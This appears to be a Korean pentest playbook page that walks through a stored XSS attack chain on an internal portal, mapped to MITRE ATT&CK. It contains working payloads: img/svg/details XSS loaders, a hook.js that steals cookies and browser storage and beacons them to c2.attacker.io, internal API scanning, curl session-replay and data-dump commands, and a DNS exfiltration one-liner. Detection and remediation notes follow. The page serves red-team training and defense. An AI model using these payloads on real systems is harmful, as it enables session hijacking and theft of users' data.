Pentest Playbook

Stored XSS via C2 Exfiltration

📌 시나리오 개요

"Stored XSS → 세션 탈취 → C2 Exfiltration"

항목 내용
대상 사내 포털 웹 애플리케이션 (공지사항·게시판 기능 보유)
공격 목표 관리자 세션 탈취 → 내부망 접근 권한 확보
주요 취약점 Stored XSS (게시판 입력값 미필터링)
프레임워크 MITRE ATT&CK
환경 외부 공격자 → 인터넷 노출 웹앱 → 내부망

🗺️ 전체 공격 흐름

sequenceDiagram autonumber actor Attacker as 🧑‍💻 Attacker participant Board as 🖥️ 게시판 (Victim Web) actor Admin as 👤 관리자 (Victim) participant C2 as ☁️ C2 Server participant Internal as 🏢 내부 시스템 Attacker->>Board: Stored XSS 페이로드 게시 (악성 스크립트 삽입) Admin->>Board: 공지사항 페이지 열람 Board-->>Admin: XSS 페이로드 실행 (브라우저 내) Admin-->>C2: 세션 쿠키 & 환경정보 전송 (HTTPS Beacon) Attacker->>C2: 탈취된 세션 수신 확인 Attacker->>Board: 탈취 세션으로 관리자 패널 접근 Attacker->>Internal: 내부망 정찰 & 추가 Exploit Attacker->>C2: 수집 데이터 Exfiltration

⚔️ 단계별 공격 상세

Phase 1 — Initial Access: Stored XSS 삽입

MITRE ATT&CK: T1190 Exploit Public-Facing Application / T1059.007 JavaScript

공격자는 게시판의 제목 또는 본문 입력란에 XSS 필터 우회 페이로드를 삽입한다.
서버 측에서 HTML 이스케이프 처리가 없는 경우, 해당 내용이 DB에 그대로 저장된다.

삽입 페이로드 예시

<!-- 게시글 본문에 삽입 -->
<img src=x onerror="
  (function(){
    var s=document.createElement('script');
    s.src='https://c2.attacker.io/hook.js';
    document.head.appendChild(s);
  })()
">

우회 기법 적용 예시 (WAF 회피)

<!-- SVG + onload 활용 -->
<svg/onload="eval(atob('BASE64_ENCODED_PAYLOAD'))">

<!-- 이벤트 핸들러 분산 -->
<details open ontoggle="fetch('https://c2.attacker.io/?c='+document.cookie)">

Phase 2 — Execution & Collection: 브라우저 내 정보 수집

MITRE ATT&CK: T1185 Man in the Browser / T1082 System Information Discovery

관리자가 해당 게시물을 열람하면 브라우저에서 hook.js가 실행된다.
스크립트는 세션 정보, 브라우저 환경, 내부망 엔드포인트 등을 수집한다.

hook.js 동작 로직 (개념)

// 1. 세션 탈취
const stolen = {
  cookie: document.cookie,
  origin: location.origin,
  href:   location.href,
  ua:     navigator.userAgent,
  ts:     Date.now(),
};

// 2. localStorage / sessionStorage 수집
try {
  stolen.ls = JSON.stringify(localStorage);
  stolen.ss = JSON.stringify(sessionStorage);
} catch(_) {}

// 3. C2로 Beacon 전송 (HTTPS POST)
navigator.sendBeacon(
  'https://c2.attacker.io/collect',
  JSON.stringify(stolen)
);

// 4. 내부 엔드포인트 스캔 (same-origin CSRF 시도)
const internal = ['/api/users', '/admin/export', '/api/config'];
internal.forEach(path => {
  fetch(location.origin + path, { credentials: 'include' })
    .then(r => r.text())
    .then(data => {
      navigator.sendBeacon('https://c2.attacker.io/data',
        JSON.stringify({ path, data }));
    }).catch(() => {});
});

Phase 3 — C2 Communication: 세션 수신 및 재사용

MITRE ATT&CK: T1071.001 Web Protocols / T1041 Exfiltration Over C2 Channel

flowchart LR subgraph Victim["피해자 브라우저"] XSS["XSS 실행\nhook.js"] end subgraph C2Server["C2 Server (attacker.io)"] Collector["/collect\n세션 수신"] Dashboard["대시보드\n세션 목록"] DataStore["/data\n내부 응답 저장"] end subgraph AttackerOps["공격자 작업"] Replay["세션 재사용\n(Cookie Replay)"] Pivot["내부망 Pivot"] end XSS -->|"HTTPS POST\n쿠키·환경정보"| Collector XSS -->|"HTTPS POST\n내부 API 응답"| DataStore Collector --> Dashboard Dashboard --> Replay DataStore --> Pivot

공격자는 탈취한 쿠키를 브라우저 개발자 도구 또는 curl로 재사용한다.

# 탈취 세션으로 관리자 API 접근
curl -s https://target.corp/api/users \
  -H "Cookie: session=STOLEN_SESSION_TOKEN" \
  -H "X-Forwarded-For: 10.0.0.1" | jq .

# 관리자 패널 접근 확인
curl -s https://target.corp/admin/dashboard \
  -H "Cookie: session=STOLEN_SESSION_TOKEN" -L -o /tmp/admin.html

Phase 4 — Post Exploitation: 내부망 정찰 및 Lateral Movement

MITRE ATT&CK: T1087 Account Discovery / T1018 Remote System Discovery / T1552 Unsecured Credentials

flowchart TD A["🔑 관리자 세션 확보"] --> B["내부 API 열거\n/api/users\n/api/config\n/admin/export"] B --> C{"민감 데이터\n발견?"} C -->|"Yes"| D["데이터 수집\n(계정·DB 설정·API키)"] C -->|"No"| E["추가 엔드포인트\n퍼징"] E --> B D --> F["C2로 Exfiltration\n(HTTPS / DNS)"] D --> G["계정 크리덴셜 재사용\nLateral Movement"] G --> H["내부 서버 접근\n(VPN / SSH / RDP)"] H --> I["🏁 목표 달성\n데이터 탈취 / 거점 확보"] F --> I

내부 API 열거 시도

# 관리자 권한으로 사용자 목록 덤프
curl -s https://target.corp/api/users?limit=1000 \
  -H "Cookie: session=STOLEN" | jq '.[].email'

# 시스템 설정 파일 노출 확인
curl -s https://target.corp/api/config \
  -H "Cookie: session=STOLEN"

# DB 백업 다운로드 시도
curl -s https://target.corp/admin/backup/latest \
  -H "Cookie: session=STOLEN" -o /tmp/backup.zip

DNS Exfiltration (대안 채널)

# 데이터를 Base64로 인코딩 후 DNS 서브도메인으로 전송
DATA=$(echo '{"key":"value"}' | base64 | tr -d '=\n')
nslookup "${DATA:0:60}.exfil.attacker.io"

🛡️ 탐지 포인트 (Blue Team 관점)

단계 탐지 지표 탐지 방법
XSS 삽입 게시글에 <script>, onerror=, eval( 등 포함 WAF 룰 / 입력값 로그 검토
C2 Beacon 외부 도메인으로 sendBeacon / 비정상 POST 요청 CSP 헤더 위반 로그 / 아웃바운드 트래픽 분석
세션 재사용 동일 세션이 복수 IP에서 사용 세션 관리 로그 / 이상 IP 탐지
내부 API 스캔 짧은 시간 내 다수 엔드포인트 접근 API 게이트웨이 Rate Limit / SIEM 룰
Exfiltration 대용량 데이터 외부 전송 / DNS 이상 쿼리 DLP / DNS 쿼리 로그 분석

🔧 대응 방안 (Remediation)

mindmap root((대응 방안)) XSS 방지 입력값 HTML 이스케이프 DOMPurify 적용 Content-Security-Policy 헤더 설정 세션 보호 HttpOnly 쿠키 설정 SameSite=Strict 적용 세션 바인딩 (IP + UA) C2 차단 아웃바운드 도메인 화이트리스트 CSP connect-src 제한 TLS Inspection 탐지 강화 WAF 룰 튜닝 SIEM 이상 행위 룰 세션 이상 탐지 알림

📋 MITRE ATT&CK 매핑

Tactic Technique ID Technique Name
Initial Access T1190 Exploit Public-Facing Application
Execution T1059.007 Command and Scripting Interpreter: JavaScript
Collection T1185 Man in the Browser
Collection T1082 System Information Discovery
C2 T1071.001 Application Layer Protocol: Web Protocols
Exfiltration T1041 Exfiltration Over C2 Channel
Discovery T1087 Account Discovery
Lateral Movement T1550.004 Use Alternate Authentication Material: Web Session Cookie
ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색